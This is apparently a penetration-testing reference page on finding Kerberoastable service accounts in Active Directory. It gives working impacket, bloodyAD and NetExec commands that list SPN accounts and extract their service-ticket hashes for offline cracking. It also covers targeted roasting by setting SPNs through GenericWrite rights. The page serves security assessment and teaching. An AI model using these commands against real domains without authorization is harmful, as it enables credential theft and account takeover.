# Kerberoastable Service Accounts

> Identify service accounts with SPNs vulnerable to Kerberoasting by extracting and cracking TGS tickets offline to compromise Active Directory credentials.

- **URL:** https://hackindex.io/services/kerberos/vulnerability-discovery/kerberoastable-service-accounts
- **Path:** Kerberos > Vulnerability Discovery
- **Up:** [Vulnerability Discovery](https://hackindex.io/services/kerberos/vulnerability-discovery.md)
- **Published:** 2026-05-15
- **Updated:** 2026-05-15

Any authenticated domain user can request a TGS for any account with a Service Principal Name set. The ticket is encrypted with the service account's password hash and returned without special rights. The finding is accounts where this combination exists: an SPN on a user object, RC4 encryption still accepted, and a password that has not rotated recently. Cracking is covered in [Kerberoasting](https://hackindex.io/services/kerberos/exploitation/kerberoasting).

Risk indicators for Kerberoastable accounts:

- SPN set on a user (not computer) object
- RC4 encryption still accepted (no AES-only policy)
- Password last set date older than 1 year

## **Identify roastable accounts**

List all user objects with SPNs set. Computer accounts are excluded: machine account passwords rotate automatically and are effectively uncrackable.

```bash
impacket-GetUserSPNs "$DOMAIN/$USER:$PASSWORD" -dc-ip $TARGET_IP
```

This lists without requesting tickets. Output includes the account name, SPN, and whether the account is enabled.

With bloodyAD for additional attributes:

```bash
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --host $TARGET_IP get search \
  --filter '(&(objectClass=user)(servicePrincipalName=*)(!(cn=krbtgt))(!(objectClass=computer)))' \
  --attr sAMAccountName servicePrincipalName memberOf pwdLastSet userAccountControl
```

Pull `memberOf`, `pwdLastSet`, and `userAccountControl` alongside the SPN data. These determine severity.

With nxc:

```bash
nxc ldap $TARGET_IP -u "$USER" -p "$PASSWORD" --kerberoasting kerberoast.hashes
```

This extracts hashes immediately: useful to confirm the accounts are roastable and to see which encryption type is returned (RC4 vs AES).

## **Assess severity per account**

Roastable accounts are not equally dangerous. Three factors determine how much a given account matters.

**Encryption type.** RC4 (etype 23, `$krb5tgs$23$`) is fast to crack. AES-128 (etype 17) and AES-256 (etype 18) are orders of magnitude slower. An account that only issues AES tickets is much harder to crack in practice. Check what the DC returns:

```bash
impacket-GetUserSPNs "$DOMAIN/$USER:$PASSWORD" -dc-ip $TARGET_IP -request -outputfile kerberoast.hashes
```

Hash lines starting with `$krb5tgs$23$` are RC4: prioritize these. If only `$krb5tgs$18$` or `$krb5tgs$17$` are returned, the account has AES enforced via the `This account supports Kerberos AES 256 bit encryption` flag.

**Group membership.** A roastable account in Domain Admins or any tier-0 group is a critical finding. Check:

```bash
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --host $TARGET_IP get object "$TARGET_USER" --attr memberOf
```

An SPN account in a privileged group means cracking the password produces immediate high-impact access.

**Password age.** Service accounts set up years ago and never rotated are far more likely to crack.

```bash
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --host $TARGET_IP get object "$TARGET_USER" --attr pwdLastSet
```

A `pwdLastSet` value of 0 means the password was set at account creation and never changed. Convert the Windows timestamp to confirm how old it is:

```bash
python3 -c "import datetime; print(datetime.datetime(1601,1,1) + datetime.timedelta(microseconds=<PWDLASTSET_VALUE>//10))"
```

## **Service classes that indicate privileged access**

The SPN prefix identifies the service. Some classes are consistently higher impact than others.

| SPN prefix | Service | Why it matters |
| --- | --- | --- |
| `MSSQLSvc/` | SQL Server | Often runs as domain user with local admin on DB host |
| `HTTP/` | IIS / web apps | May have local admin, access to app secrets |
| `CIFS/` | SMB file services | File server access, often on sensitive data hosts |
| `HOST/` | Windows host general | Broad service association, often elevated |
| `WSMAN/` | WinRM | Direct remote management path |
| `TERMSRV/` | RDP | Remote desktop access |

`MSSQLSvc` and `HTTP` accounts in environments with business-critical services are the highest-value targets.

## **Targeted Kerberoasting via GenericWrite**

If no roastable accounts exist, check whether you have `GenericWrite` or `GenericAll` on any user account. These rights allow setting an SPN on an account that does not have one, making it temporarily roastable.

```bash
bloodyAD -d $DOMAIN -u "$USER" -p "$PASSWORD" --host $TARGET_IP get search \
  --filter '(objectClass=user)' --attr sAMAccountName
```

Then check ACLs for writable objects via BloodHound or [ACL Enumeration](https://hackindex.io/platforms/active-directory/enumeration/active-directory-acl-enumeration). A writable account with no SPN can be made roastable. Remove the SPN after cracking.

For the full extraction and cracking workflow, see [Kerberoasting](https://hackindex.io/services/kerberos/exploitation/kerberoasting) and [AD Kerberoasting](https://hackindex.io/platforms/active-directory/exploitation/kerberoasting).

## References

- [Impacket](https://github.com/fortra/impacket) - GetUserSPNs for SPN listing and ticket extraction
- [NetExec Kerberoasting](https://www.netexec.wiki/ldap-protocol/kerberoasting) - --kerberoasting module and hash output
- [BloodyAD](https://github.com/CravateRouge/bloodyAD) - LDAP search with attribute selection for SPN accounts
